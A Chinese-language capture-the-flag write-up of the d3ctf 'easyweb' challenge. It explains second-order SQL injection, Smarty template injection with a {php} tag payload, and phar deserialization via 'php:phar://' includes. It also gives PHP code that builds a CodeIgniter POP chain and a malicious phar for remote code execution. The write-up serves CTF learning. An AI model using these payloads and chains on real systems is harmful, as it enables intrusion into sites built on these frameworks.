d3ctf easyweb題解

前言

這道題思路其實(shí)就是,如果在php中遇到了模版注入,但是限制了不允許執(zhí)行php代碼的時(shí)候,怎么通過模版注入達(dá)到RCE的效果

考點(diǎn)

預(yù)期:

  1. 二次注入
  2. 模版注入
  3. phar反序列化
  4. CI RCE POP鏈挖掘

非預(yù)期:

  1. 二次注入
  2. 模版注入
  3. SSTI沙箱逃逸

二次注入

image.png

可以看到,在get_view的時(shí)候,通過session中的userid從數(shù)據(jù)庫中取出了用戶的username,之后對username進(jìn)行了兩次過濾,但是因?yàn)轫樞虿粚?,?dǎo)致sql注入的黑名單可以繞過:se{lect

然后模版的標(biāo)簽{可以通過sql的16進(jìn)制繞過,這兩步應(yīng)該是很容易看出來的

模版注入

image.png

可以看到,index這里調(diào)用了get_view方法,然后將獲取到的結(jié)果拼接到data協(xié)議中,之后將整個(gè)data協(xié)議的內(nèi)容直接插入到了display函數(shù)中,很容易發(fā)現(xiàn)這里有一個(gè)模版注入的問題,我們只要通過union select就可以控制整個(gè)模版的內(nèi)容。

這里有一點(diǎn)要注意的就是,我們需要將我們控制的字符串放到返回結(jié)果的第一行中,因?yàn)閡nion select是在原先查詢的下面添加一行結(jié)果,所以用limit 1,1即可返回我們控制的模版字符串

正文開始

因?yàn)楫?dāng)時(shí)將smarty嵌入到CI框架中,是根據(jù)網(wǎng)上其他師傅的博客來寫的,但是因?yàn)閰⒖嘉恼碌臅r(shí)間可能比較久,導(dǎo)致在整合的時(shí)候,其實(shí)是用的smartyBC,這是一個(gè)兼容低版本smarty的引擎,而不是最新的Smarty引擎

而這個(gè)SmartyBC就是一切非預(yù)期的開始

0x01 非預(yù)期解

image.png

在構(gòu)造方法中,為了不讓各位師傅直接通過SSTI執(zhí)行php命令,在這里設(shè)置了Smarty引擎的安全規(guī)則,默認(rèn)不允許任何php方法,不允許php腳本的解析,看起來是沒有什么問題,但是因?yàn)闆]有仔細(xì)看官方文檔,結(jié)果發(fā)現(xiàn)還是可以執(zhí)行php代碼

image.png

結(jié)果,php_handling不能限制{php}{/php}這樣的標(biāo)簽,所以師傅們直接通過{{php}}phpinfo();{{/php}}即可直接getshell,23333

這里我犯了兩個(gè)錯(cuò)誤:

  1. 沒有發(fā)現(xiàn)php_handling是不能限制{php}{/php}的
  2. 使用的是SmartyBC而不是Smarty,在Smarty中,這個(gè)標(biāo)簽已經(jīng)被廢棄了


    image.png

所以直接:
data:,{{php}}phpinfo();{{/php}}

image.png

0x02 預(yù)期解

smarty對協(xié)議的處理

在CI中添加一個(gè)test路由,直接在display中調(diào)用data協(xié)議,使用xdebug跟一下display的邏輯

image.png
image.png

可以看到這里調(diào)用了createTemplate函數(shù),根據(jù)函數(shù)名,這里就是創(chuàng)建我們的模版的地方,跟進(jìn)去看一下,因我們傳入的字符串是$template變量,所以重點(diǎn)關(guān)注對$template的處理,跟到_getTemplateId函數(shù),進(jìn)入

image.png

這里根據(jù)我們傳入的字符串,拼接上模版目錄生成了一個(gè)字符串作為tempateId

image.png

這里實(shí)例化了一個(gè)對象,對應(yīng)的對象為:public $template_class = 'Smarty_Internal_Template';

image.png

image.png

在構(gòu)造函數(shù)中設(shè)置了很多屬性,重點(diǎn)關(guān)注$this->template_resource,$this->source,調(diào)用了Smarty_Template_Source的load方法

來到了重點(diǎn):load方法


image.png

這個(gè)正則,其實(shí)匹配了我們對display的輸入,將輸入的字符串根據(jù):分割,第一部分為協(xié)議名,第二部分為協(xié)議的內(nèi)容

我們進(jìn)入Smarty_Template_Source中

image.png

在smarty中,不同的協(xié)議有不同的handler來處理,這里通過Smarty_Resource::load來獲取對應(yīng)的handler

image.png

可以看到,在這里進(jìn)行了很多次判斷,是否是緩存,是否是注冊以后的模版等等的判斷,可以看到紅框框出來的地方進(jìn)行了對流的判斷

在stream_get_wrappers的地方,獲取了smarty支持的所有流的類型:

image.png

可以看到在smarty文檔中也提到了,smarty支持流的方式去獲取模版

image.png

這里只要我們的流在這個(gè)名單中,即可返回$handler(Smarty_Internal_Resource_Stream),也就是只要走到這一步,就會直接調(diào)用Smarty_Internal_Resource_Stream類的populate方法:

image.png

第一步將我們輸入的協(xié)議統(tǒng)一轉(zhuǎn)換為:data://這樣子,再調(diào)用getContent函數(shù)

image.png

通過fopen獲取到模版字符串

phar協(xié)議

smarty對協(xié)議的處理上面也分析過了,主要就是通過協(xié)議的不同,獲取不同的類進(jìn)行處理,不同協(xié)議的實(shí)現(xiàn)差異其實(shí)就是對應(yīng)的handler不同

所以我們只要關(guān)注handler的獲取就可以了,phar可以觸發(fā)反序列化這個(gè)漏洞應(yīng)該大家早就不陌生了,那么diaplay的參數(shù)可控,真的就可以觸發(fā)反序列化嗎?

payload: $this->ci_smarty->display('phar:///etc/passwd');

image.png

可以看到,獲取的還是Smarty_Internal_Resource_Stream,和data協(xié)議一樣,同樣會走到getContent

image.png

但是這里有個(gè)問題,想要使用fopen觸發(fā)phar反序列化,對應(yīng)的php.ini的phar.readonly的值必須要為false,而默認(rèn)是true,所以如果在默認(rèn)環(huán)境下,phar是無法觸發(fā)反序列化的。

奇怪的php協(xié)議

按照理論來說,php協(xié)議應(yīng)該會被Smarty_Internal_Resource_Stream所處理,但是如果你跟了php協(xié)議的handler的話,你會發(fā)現(xiàn)好像并不是這樣

$this->ci_smarty->display('php:phar:///xxx/xxx.phar');

image.png

這里我們剛開始沒有關(guān)注,但是如果你跟了php協(xié)議的處理的話,你會發(fā)現(xiàn)居然在這里sysplugins里面有php對應(yīng)的處理

image.png

所以在這里直接返回了smarty_internal_resource_php.php這個(gè)php文件中定義的類,也就是Smarty_Internal_Resource_Php這個(gè)類

可以看到不僅僅支持php,其他類沒有詳細(xì)看,有時(shí)間可以分析一下其他類是干什么的。

所以接下來會調(diào)用Smarty_Internal_Resource_Php這個(gè)類的populate方法,結(jié)果發(fā)現(xiàn)這個(gè)類并沒有這個(gè)方法,所以去父類去找,用ctrl+h可以很方便的看出來一個(gè)類的繼承關(guān)系

image.png

所以去Smarty_Internal_Resource_File這個(gè)類里面去找:

image.png

這里第一步調(diào)用了buildFilePath函數(shù),進(jìn)入這個(gè)函數(shù),可以看到有很多is_file的判斷,而is_file也是phar反序列化觸發(fā)的入口之一,而且不需要phar.readonly的限制,所以考慮是不是可以通過這種方式觸發(fā)反序列化

最后發(fā)現(xiàn)在170行,is_file函數(shù)參數(shù)完全可控,觸發(fā)反序列化:


image.png

這個(gè)時(shí)候,我們就可以通過:data:,{{include file="php:phar:///tmp/xxxxx/xx.phar}}來觸發(fā)phar反序列化

現(xiàn)在,我們可以觸發(fā)反序列化了,接下來,我們需要找一個(gè)pop鏈,來達(dá)到RCE的效果

很沙雕的pop鏈

CI這個(gè)框架,pop鏈確實(shí)不是很好找(也是我tcl),這里有一個(gè)很重要的原因,CI框架的類不是自動加載的,而是按需加載的,要加載的類,需要在config文件里面添加,導(dǎo)致全局搜索起來__destruct方法貌似很多,但是實(shí)際上沒法用,23333

找了半天,總算找了個(gè)文件包含,但是限制了文件名要滿足一定格式,而且要知道m(xù)ysql的用戶名和密碼,就很憨憨。。。。

這也就是為什么我沒有限制文件的后綴名

先全局搜索__destruct方法,發(fā)現(xiàn)在Cache_redis中有一個(gè)__destruct方法,調(diào)用了任意一個(gè)對象的close方法

image.png

然后全局搜索close方法,在CI_Session_database_driver中調(diào)用了本類中的_release_lock方法

image.png

在這里又調(diào)用了db屬性的query方法,所以我們可以通過這個(gè)地方調(diào)用任意的query方法

image.png

發(fā)現(xiàn)query這個(gè)方法是DB_driver實(shí)現(xiàn)的,在里面有一個(gè)load_rdriver函數(shù)

image.png

看到里面的$this->dbdriver可控,所以說我們可以通過目錄穿越,來包含到任意目錄下的xxx_result.php文件,從而達(dá)到RCE的目的

image.png

但是想要進(jìn)入到load_rdriver函數(shù),要保證前面的所有函數(shù)都正常執(zhí)行,而在前面有一處sql語句執(zhí)行,如果執(zhí)行不成功的話就無法到load_rdriver的地方,所以我們需要正確的mysql配置來繞過

image.png

這樣就可以利用這個(gè)文件包含達(dá)到RCE的效果。

寫exp

因?yàn)楹芏鄬傩远疾皇莗ublic的,而且我們要保證mysql的連接對象沒有任何問題,所以我們可以通過向pop鏈中的類添加一些公共的set方法來覆蓋其中的屬性,和java bean一樣

// Cache_redis
public function set($param){
        $this->_redis = $param;
    }

// Session_database_driver
public function set($param1){
        $this->_lock = TRUE;
        $this->_platform = "mysql";
        $this->_db = $param1;
    }

// mysqli_driver
public function set(){
        $this->dbdriver = "../../../../../../../tmp/a";
    }

// 控制器
public function payload(){
        $obj1 = $this->cache->redis;
        $obj2 = $this->session;
        $obj3 = $this->db;
        $obj2->set($obj3);
        $obj1->set($obj2);
        echo urlencode(serialize($obj1));
    }

這里因?yàn)閝uery是在DB_driver中的,所以,db對象應(yīng)該是CI_DB_mysqli_driver

image.png

生成phar文件:

public function payload(){
        $obj1 = $this->cache->redis;
        $obj2 = $this->session;
        $obj3 = $this->db;
        $obj2->set($obj3);
        $obj1->set($obj2);
        $phar = new Phar("phar.phar"); //后綴名必須為phar
        $phar->startBuffering();
        $phar->setStub("<?php __HALT_COMPILER(); ?>"); //設(shè)置stub
        $phar->setMetadata($obj1); //將自定義的meta-data存入manifest
        $phar->addFromString("test.txt", "test"); //添加要壓縮的文件
        //簽名自動計(jì)算
        $phar->stopBuffering();
    }

上傳phar文件到tmp下面,之后調(diào)用:{{include file="php:phar:///tmp/xxxx/xx.phar"}}即可

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 1、PHP語言的一大優(yōu)勢是跨平臺,什么是跨平臺?一、PHP基礎(chǔ): PHP的運(yùn)行環(huán)境最優(yōu)搭配為Apache+MySQ...
    __書山有路__閱讀 1,620評論 0 15
  • 紫色本身給人的感覺就很神秘,它自身所散發(fā)的高貴氣質(zhì)一直是時(shí)尚達(dá)人所喜愛的,它的浪漫也是我們所追求的,在這個(gè)季節(jié)...
    招遠(yuǎn)金都DDM王海娟閱讀 205評論 0 0
  • 如何說孩子才肯聽,怎么聽,孩子才肯說 當(dāng)然說話的態(tài)度和所說的話一樣重要。有助孩子成長的溝通態(tài)度是這樣的:總的來說,...
    Hellen_dfcc閱讀 147評論 0 0
  • 科技成果的轉(zhuǎn)化和推廣應(yīng)該是方便大家生活,提高老百姓的生活便利感。 例如電商和淘寶的出現(xiàn),讓人們足不出戶就可以逛遍大...
    陳陳讀書閱讀 475評論 0 0

友情鏈接更多精彩內(nèi)容